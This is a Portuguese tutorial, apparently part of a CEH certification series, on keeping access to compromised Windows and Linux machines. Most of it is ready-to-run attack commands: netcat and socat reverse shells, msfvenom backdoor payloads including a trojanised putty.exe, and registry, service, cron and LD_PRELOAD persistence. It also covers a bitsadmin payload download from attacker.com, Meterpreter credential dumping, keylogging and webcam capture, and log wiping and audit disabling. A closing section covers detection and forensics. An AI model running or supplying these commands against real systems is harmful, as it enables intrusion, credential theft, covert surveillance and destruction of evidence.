Por Que Manter Acesso?

Um atacante gastou horas — talvez semanas — no reconhecimento, enumeração e exploração de um alvo. Conseguiu um shell, escalou privilégios. E aí? Se a máquina reinicia, se o admin descobre a conta criada, se o patch fecha a vulnerabilidade, tudo foi por água abaixo. É por isso que Maintaining Access é a 4ª fase da metodologia CEH.

Os objetivos dessa fase são claros:

  • Coleta contínua de dados — exfiltrar informações sensíveis ao longo do tempo, não apenas num único acesso
  • Movimento lateral — usar o ponto de apoio atual para alcançar outros sistemas na rede
  • Persistência a longo prazo — garantir que o acesso sobreviva a reboots, patches e investigações

Um atacante profissional nunca depende de uma única via de acesso. Backdoors múltiplos, mecanismos de persistência redundantes e canais de comunicação alternativos são o padrão. Redundância é segurança — para o atacante.

Legalmente falando: instalar backdoors e manter acesso sem autorização é crime em praticamente todas as jurisdições. Tudo aqui é para fins educacionais e pentests autorizados. Sempre tenha um contrato assinado antes.

Backdoors

Backdoor é qualquer método que permite contornar a autenticação normal de um sistema. O atacante cria um caminho alternativo que só ele conhece.

Tipos de Backdoor

Tipo Descrição Exemplo
Aplicação Inserido em um software legítimo Backdoor em versão modificada de SSH
Sistema operacional Modifica componentes do SO Service malicioso, módulo de kernel
Hardware/Firmware Implantado no firmware do dispositivo Backdoor em BIOS, firmware de roteador
Rede Cria túnel ou porta de escuta Reverse shell via Netcat

Netcat: o Canivete Suíço do Hacker

Netcat (nc) é provavelmente a ferramenta mais versátil para estabelecer backdoors simples. Não é stealthy, não é sofisticado, mas funciona em praticamente qualquer lugar.

Bind shell (o alvo escuta):

# No alvo (Linux)
nc -lvp 4444 -e /bin/bash

# No Windows
nc.exe -Lp 4444 -e cmd.exe

# No atacante (conecta)
nc 192.168.1.100 4444

Reverse shell (o alvo conecta de volta — geralmente melhor porque atravessa NAT/firewall de saída):

# No atacante (escuta)
nc -lvp 4444

# No alvo (Linux)
nc -e /bin/bash 192.168.1.50 4444

# Alternativas caso -e não esteja disponível:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.50 4444 > /tmp/f

Nota: em versões modernas do Netcat OpenBSD, a flag -e foi removida por questões de segurança. Use ncat (do Nmap) ou socat como alternativas. socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.50:4444 é uma opção robusta.

Backdoors em Windows

Windows oferece múltiplos mecanismos para persistência, mas os mais comuns para backdoors simples são:

# Registry Run Key (executa com o usuário)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "UpdateSvc" /t REG_SZ /d "C:\temp\backdoor.exe" /f

# Scheduled Task
schtasks /create /tn "SystemUpdate" /tr "C:\temp\backdoor.exe" /sc onlogon /ru SYSTEM

# Criar serviço (persiste entre reboots, roda como SYSTEM)
sc create "SvcHost" binPath= "C:\temp\backdoor.exe" start= auto
sc start SvcHost

Trojans e Backdoor Wrapping

Um trojan é um programa que aparenta ser legítimo mas contém funcionalidade maliciosa oculta. O wrapping é o processo de encapsular um payload malicioso dentro de um executável legítimo.

Gerando Payloads com msfvenom

O msfvenom (Metasploit Framework) é a ferramenta padrão para gerar payloads. Combina o antigo msfpayload e msfencode numa ferramenta só.

# Payload Windows — reverse TCP com Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o backdoor.exe

# Payload Linux — reverse TCP
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o backdoor.elf

# Payload Windows — encoder shikata_ga_nai (3 iterações)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -e x86/shikata_ga_nai -i 3 -f exe -o backdoor_encoded.exe

# Embedar payload dentro de executável legítimo (-x)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 \
  -x /usr/share/windows-binaries/putty.exe -f exe -o putty_backdoor.exe

# Payload em formato PowerShell (útil para living-off-the-land)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-reflection -o shell.ps1

Flags principais do msfvenom:

Flag Função
-p Payload a ser gerado
LHOST IP do atacante (listener)
LPORT Porta do atacante
-f Formato de saída (exe, elf, dll, psh, py, etc.)
-e Encoder a usar
-i Número de iterações do encoder
-x Executável template (wrapping)
-o Arquivo de saída

Configurando o Listener

# No Metasploit (msfconsole)
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444
set ExitOnSession false
run -j

# O parâmetro -j roda o listener em background
# ExitOnSession false mantém o listener ativo após receber uma conexão

Ferramentas de Wrapping e Evasão

  • Veil — framework focado em evasão de AV; gera payloads com vários métodos de criptografia
  • Hyperion — crypter que criptografa executáveis PE
  • Nim (linguagem) — compilar payloads em Nim tem baixa taxa de detecção
  • Golang + Donut — shellcode loaders compilados em Go são difíceis de detectar
  • AMSI bypass — técnicas para desabilitar Anti-Malware Scan Interface no Windows antes de executar payloads

Encoding ≠ Evasão moderna. Encoders como shikata_ga_nai eram eficazes há uma década. AVs modernos usam heurísticas, machine learning e análise comportamental. Um payload simplesmente encoded vai ser detectado. Evasão real requer loaders customizados, live-off-the-land, e técnicas mais sofisticadas.

Rootkits

Rootkit é o nível mais profundo de comprometimento. Um rootkit modifica o sistema operacional para esconder a presença do atacante — processos, arquivos, conexões de rede, tudo some.

Tipos de Rootkit

Tipo Camada Dificuldade Exemplo
User-mode Substitui binários do SO ou injeta DLLs Média Adore-ng, ZeroAccess
Kernel-mode Carrega módulo no kernel Alta DR, PHIDE
Bootkit Modifica MBR/bootloader Muito alta TDL4, Stoned Bootkit
Firmware Modifica BIOS/UEFI Extrema LoJax (Usenix 2018)

Como Funcionam

Os mecanismos clássicos de um rootkit incluem:

  • Hooking — intercepta chamadas do sistema (syscalls) para filtrar resultados. Quando o admin lista processos com ps, o rootkit remove os processos maliciosos da listagem
  • DKOM (Direct Kernel Object Manipulation) — manipula diretamente as estruturas de dados do kernel para esconder processos, threads e drivers
  • SSDT (System Service Dispatch Table) modification — altera a tabela que mapeia syscalls para suas funções, redirecionando chamadas para código do atacante
  • IDA/IAT hooking — em user-mode, intercepta funções importadas dos executáveis

Detecção de Rootkits

# chkrootkit — scanner clássico
sudo chkrootkit

# rkhunter — mais abrangente
sudo rkhunter --check --skip-keypress

# Rootkit Hunter — verificação manual
sudo rkhunter -c --enable all

# Verificar módulos suspeitos no kernel
lsmod | grep -v "^Module"
ls /lib/modules/$(uname -r)/kernel/ | sort

# Comparar hashes de binários críticos
rpm -Va    # Red Hat/CentOS
debsums -c # Debian/Ubuntu

Por que rootkits são raros hoje? Secure Boot assina digitalmente o bootloader e impede modificação do MBR. O PatchGuard (KPP) do Windows protege o kernel contra modificação. Driver signing enforcement impede loading de drivers não assinados. Na prática, attackers migraram para técnicas user-mode e living-off-the-land que são mais fáceis e menos detectáveis do que rootkits.

Técnicas de Persistência em Linux

Linux oferece dezenas de mecanismos para manter acesso. Um atacante profissional usa vários simultaneamente.

# 1. Crontab — execução agendada
crontab -e
@reboot /tmp/backdoor.sh
*/5 * * * * /tmp/phone_home.sh

# 2. Systemd service — mais robusto, sobrevive reboots
cat > /etc/systemd/system/update.service <<EOF
[Unit]
Description=System Update Service
After=network.target

[Service]
ExecStart=/usr/local/bin/update.bin
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable update.service
systemctl start update.service

# 3. Init.d script
cat > /etc/init.d/backdoor <<EOF
#!/bin/bash
/usr/local/bin/update.bin
EOF
chmod +x /etc/init.d/backdoor
update-rc.d backdoor defaults

# 4. SSH authorized_keys — acesso via chave
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@kali" >> ~/.ssh/authorized_keys

# 5. .bashrc / .bash_profile — executa quando o usuário faz login
echo 'nohup /tmp/update.bin &' >> ~/.bashrc

# 6. LD_PRELOAD — intercepta chamadas de biblioteca
cat > /etc/ld.so.preload <<EOF
/tmp/evil.so
EOF

# 7. Dotfiles ocultos
touch /home/user/.hidden_service
# Comando oculto em PATH
cp /tmp/backdoor /home/user/.local/bin/.update && export PATH=$PATH:/home/user/.local/bin

# 8. /etc/rc.local
echo '/tmp/backdoor.sh' >> /etc/rc.local
chmod +x /etc/rc.local

Técnicas de Persistência em Windows

Windows é um playground de persistência. A quantidade de mecanismos nativos é absurdamente grande.

# 1. Registry Run Keys (executa com logon do usuário)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "JavaUpdate" /t REG_SZ /d "C:\temp\update.exe" /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdate" /t REG_SZ /d "C:\temp\svc.exe" /f

# Registry RunOnce (executa uma única vez)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "FirstRun" /t REG_SZ /d "C:\temp\setup.exe" /f

# 2. Scheduled Tasks
schtasks /create /tn "SystemMaintenance" /tr "C:\temp\update.exe" /sc minute /mo 30 /ru SYSTEM /f

# 3. Startup folder
copy backdoor.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"

# 4. WMI Event Subscription (stealthy, difícil de detectar)
# Requer PowerShell ou wbemtest
# Cria event consumer que executa comando quando evento específico ocorre

# 5. PowerShell Profile
echo "Start-Process -FilePath 'C:\temp\backdoor.exe' -WindowStyle Hidden" >> $PROFILE

# 6. DLL Search Order Hijacking
# Coloca DLL maliciosa em diretório que o aplicativo procura antes do System32

# 7. Service creation
sc create "PerfHost" binPath= "C:\temp\backdoor.exe" type= own start= auto DisplayName= "Performance Host"
sc description PerfHost "Provides performance monitoring services"
sc start PerfHost

# 8. Registry Image File Execution Options (IFEO)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\backdoor.exe" /f
# Agora toda vez que alguém abrir o notepad, seu backdoor executa

# 9. BITS Jobs (Background Intelligent Transfer Service)
bitsadmin /create /download /displayName "WindowsUpdate" http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /resume "WindowsUpdate"

Comparação: Linux vs Windows

Aspecto Linux Windows
Autostart primário systemd, cron, init.d Registry Run, Scheduled Tasks
Acesso remoto SSH keys, LD_PRELOAD Services, RDP, WMI
Stealth dotfiles, kernel modules IFEO, WMI, COM hijacking
Resiliência systemd restart=always SC.exe com auto-restart
Dificuldade de detecção Moderada (auditar systemd/cron) Alta (milhares de chaves de registro)

Meterpreter: o Payload Suíço

Meterpreter é o payload mais poderoso do Metasploit. Roda em memória (não toca disco), oferece encriptação TLS por padrão, e vem carregado de funcionalidades.

Comandos Essenciais

# Informações do sistema
sysinfo              # Versão do SO, arquitetura, hostname
getuid               # Usuário atual
getpid               # PID do processo do Meterpreter
ps                   # Lista processos

# Escalação de privilégios
getsystem            # Tenta várias técnicas para obter SYSTEM/root
# Opções específicas:
getsystem -t 1       # Named pipe impersonation
getsystem -t 2       # Named pipe impersonation + token duplication

# Credenciais
hashdump             # Dump de hashes SAM (requer SYSTEM)
load kiwi            # Carrega mimikatz via Meterpreter
creds_all            # Lista todas as credenciais em memória
creds_msv            # NTLM hashes
creds_wdigest        # credenciais em texto claro (se disponível)

# Coleta de informações
screenshot           # Captura da tela
webcam_snap          # Foto da webcam
webcam_stream        # Stream de vídeo
keyscan_start        # Inicia keylogger
keyscan_dump         # Mostra teclas capturadas
keyscan_stop         # Para keylogger

# Sistema de arquivos
upload /local/file   C:\\temp\\destino
download C:\\temp\\file /local/destino
cat C:\\temp\\file
ls C:\\temp\\
cd C:\\temp\\

# Networking / Pivot
portfwd add -l 8080 -p 80 -r 192.168.2.10
# Encaminha porta local 8080 para porta 80 na máquina 192.168.2.10 via a sessão comprometida

route add 192.168.2.0 255.255.255.0 1
# Adiciona rota via sessão 1 para alcançar rede interna

# Migração de processo
migrate [PID]        # Move o Meterpreter para outro processo (ex: explorer.exe)
# Útil para persistir quando o processo original morre ou para elevar contexto de segurança

# Executar comandos
shell                # Drop para um shell nativo
execute -f cmd.exe   # Executa programa sem interatividade
run post/multi/manage/shell_to_meterpreter  # Converte shell em meterpreter

# Persistência
run persistence -U -i 10 -p 4444 -r 192.168.1.50
# -U = auto-start com usuário, -i = intervalo (seg), -p = porta, -r = IP

# Encerramento
exit                 # Encerra sessão (não mata o payload se foi migrado)

Migrate é essencial. Quando o Meterpreter é injetado via exploit, ele roda no contexto do processo vulnerável. Se esse processo morre, você perde a sessão. Migre para explorer.exe (Windows) ou sshd/bash (Linux) o mais rápido possível.

Cobertura de Rastros

Depois de tudo feito — exploração, persistência, coleta de dados — o atacante precisa apagar as pegadas. Essa é a fase de antiforensia.

PENTESTERS: NÃO FAÇAM ISSO. Num pentest autorizado, cobrir rastros destrói evidências que a equipe precisa para remediar. Documente tudo. Mantenha logs intactos. A cobertura de rastros só é relevante para entender como um atacante real opera.

Limpeza de Logs — Linux

# Limpar logs de autenticação
echo "" > /var/log/auth.log
echo "" > /var/log/secure    # CentOS/RHEL

# Limpar logs do sistema
cat /dev/null > /var/log/syslog
cat /dev/null > /var/log/messages
rm -rf /var/log/wtmp
rm -rf /var/log/btmp
rm -rf /var/log/lastlog
history -c
rm -f ~/.bash_history

# Histórico do shell
unset HISTFILE
export HISTFILESIZE=0
kill -9 $$

# Manipulação de timestamps
touch -r /etc/passwd /tmp/backdoor.sh
# Copia o timestamp do passwd para o backdoor — parece um arquivo legítimo

Limpeza de Logs — Windows

# Event Viewer — manual
# Executar → eventvwr.msc → Limpar logs de Security, System, Application

# Meterpreter
clearev          # Limpa todos os event logs do Windows

# Command line
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
wevtutil cl "Windows PowerShell"

# Desabilitar auditoria (requer privilégios)
auditpol /set /subcategory:"Logon" /success:disable /failure:disable
auditpol /set /subcategory:"Object Access" /success:disable /failure:disable

Steganography: Escondendo Dados em Imagens

Esteganografia esconde dados dentro de arquivos aparentemente inocentes — imagens, áudio, vídeo. Não é criptografia (não esconde a existência da comunicação, só o conteúdo).

# steghide — esconder arquivo dentro de imagem
steghide embed -cf foto.jpg -ef dados_secretos.txt -p "senha_secreta"

# Extrair dados da imagem
steghide extract -sf foto.jpg -p "senha_secreta"

# outguess — alternativa com suporte a JPEG
outguess -k "chave" -d dados_secretos.txt foto_original.jpg foto_com_dados.jpg

# Steghide também funciona com BMP, WAV, AU
steghide embed -cf cover.bmp -ef payload.exe

Esteganografia vs Criptografia: criptografia esconde o conteúdo da mensagem. Esteganografia esconde a existência da mensagem. Juntas são poderosas — criptografe o payload, depois esconda-o numa imagem. Análise estatística (chi-squared, RS analysis) pode detectar esteganografia em JPEGs, mas é complexo e raramente feito de forma rotineira.

Hands-On: Backdoor Completo com Metasploit

Vamos montar um cenário completo: gerar payload, configurar listener, obter Meterpreter, escalar privilégios, coletar dados e documentar tudo.

Passo 1 — Gerar o payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o update_service.exe -e x64/xor_dynamic -i 5

Passo 2 — Configurar o listener:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
run -j

Passo 3 — Entregar o payload (simulação):

# Via share SMB, phishing, ou exploração remota
# Neste cenário, o alvo executa update_service.exe
# Quando executar, o Meterpreter se conecta ao listener

Passo 4 — Pós-exploração:

# Assim que a sessão abre:
sessions -i 1                    # Seleciona a sessão

# Enumeração rápida
sysinfo
getuid
hostname
ipconfig

# Estabilizar a sessão
# Se o shell cai, use:
use post/multi/manage/shell_to_meterpreter
set SESSION 1
run

# Escalar privilégios
getsystem
# Se getsystem falhar, tentar módulos locais:
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
run
getsystem  # Tenta de novo após bypass UAC

# Coletar credenciais
hashdump
load kiwi
creds_all

# Coletar informações
screenshot
keyscan_start
# ... aguardar algum tempo ...
keyscan_dump
keyscan_stop

# Enumerar rede interna
run post/windows/gather/arp_scanner RHOSTS=192.168.2.0/24
portfwd add -l 8080 -p 80 -r 192.168.2.10

# Persistência (DENTRO DO ESCOPO DO PENTEST — documentar, não destruir)
run persistence -U -i 300 -p 4444 -r 192.168.1.50

# Migrar para processo estável
ps
migrate [PID do explorer.exe]

Passo 5 — Documentar (pentest autorizado):

# No seu relatório, registre:
# - Payload gerado e opções usadas
# - Horários de acesso
# - Comandos executados
# - Credenciais obtidas
# - Redes acessíveis
# - Roteiro completo para replicação
# NÃO limpe logs — a equipe de defesa precisa deles

Contra-medidas

Como defesa, a abordagem é defesa em profundidade — múltiplas camadas que complicam cada etapa da persistência e antiforensia.

File Integrity Monitoring

# AIDE (Advanced Intrusion Detection Environment)
sudo apt install aide
sudo aideinit              # Gera baseline
sudo aide --update         # Atualiza baseline
sudo aide --check          # Verifica alterações

# Tripwire
sudo tripwire --init       # Gera baseline
sudo tripwire --check      # Verifica integridade

# Configurar notificação automática no cron
echo "0 6 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' admin@empresa.com" >> /etc/cron.d/aide

Log Forwarding e SIEM

# Rsyslog — forward para servidor central
# /etc/rsyslog.d/01-forward.conf
*.* @@logserver.empresa.com:514

# journald — forward para syslog
# /etc/systemd/journald.conf
ForwardToSyslog=yes

# Um SIEM (Splunk, ELK, Wazuh) centraliza, correlaciona e alerta sobre:
# - Criação de novas scheduled tasks
# - Alterações em registry keys de Run
# - Novos serviços criados
# - Upload de DLLs suspeitas
# - Conexões reversas inusitadas

EDR (Endpoint Detection and Response)

Soluções EDR como CrowdStrike, Carbon Black e SentinelOne monitoram comportamento em tempo real. Detectam técnicas de persistência pela ação, não pelo arquivo:

  • Criação de registry keys em Run/RunOnce
  • Scheduled tasks criadas por usuários não-admin
  • Processos filhos inesperados (cmd.exe spawnado por notepad.exe)
  • Injeção de código em processos (VirtualAllocEx + WriteProcessMemory)
  • Conexões de rede suspeitas para C2

Application Whitelisting

# AppArmor (Linux)
sudo aa-genprof /usr/bin/executavel   # Gera perfil
sudo aa-enforce /etc/apparmor.d/usr.bin.executavel

# SELinux
# Verificar modo atual
getenforce
# Configurar políticas para bloquear execução de binários não autorizados

# Windows AppLocker / WDAC (Windows Defender Application Control)
# Via GPO: Computer Configuration → Windows Settings → Security Settings → Application Control Policies → AppLocker
# Criar regras para permitir apenas executáveis assinados

Forensics: Quando Tudo Falha

Quando a defesa preventiva falha, a investigação forense entra em cena:

  • Disk imagingdd if=/dev/sda of=evidence.img bs=4M conv=noerror,sync — imagem bit-a-bit para preservação de evidência
  • Memory forensics (Volatility) — dump de RAM preserva processos, conexões de rede, credenciais em memória que não existem em disco
    volatility -f memory.dmp imageinfo
    volatility -f memory.dmp --profile=Win10x64 pslist
    volatility -f memory.dmp --profile=Win10x64 netscan
    volatility -f memory.dmp --profile=Win10x64 hashdump
    
  • Timeline analysis — construir timeline de eventos (criação de arquivos, modificações de registro, conexões) para entender a chronologia do ataque
  • Log analysis — mesmo que o atacante tente limpar, backups de log, SIEM com retenção, e logs de rede (NetFlow, PCAP) podem reconstruir o que aconteceu

Próximo Artigo

No Artigo 16 da série CEH v13 Zero to Hero, vamos entrar no mundo do Sniffing e Man-in-the-Middle (MITM) — como interceptar tráfego de rede, capturar credenciais em texto claro, técnicas de ARP spoofing, DNS spoofing, SSL stripping, e como ferramentas como Wireshark, tcpdump, Ettercap e Bettercap operam. A rede é o campo de batalha invisível — e no próximo artigo, vamos ver tudo que passa por ela.

Para se aprofundar: pratique os laboratórios do Metasploit Unleashed (gratuito), explore o MITRE ATT&CK matrix (Tactic: Persistence, Defense Evasion), e experimente as técnicas de persistência em máquinas virtuais controladas. Teoria sem prática é apenas informação — prática sem teoria é apenas hacking sem propósito.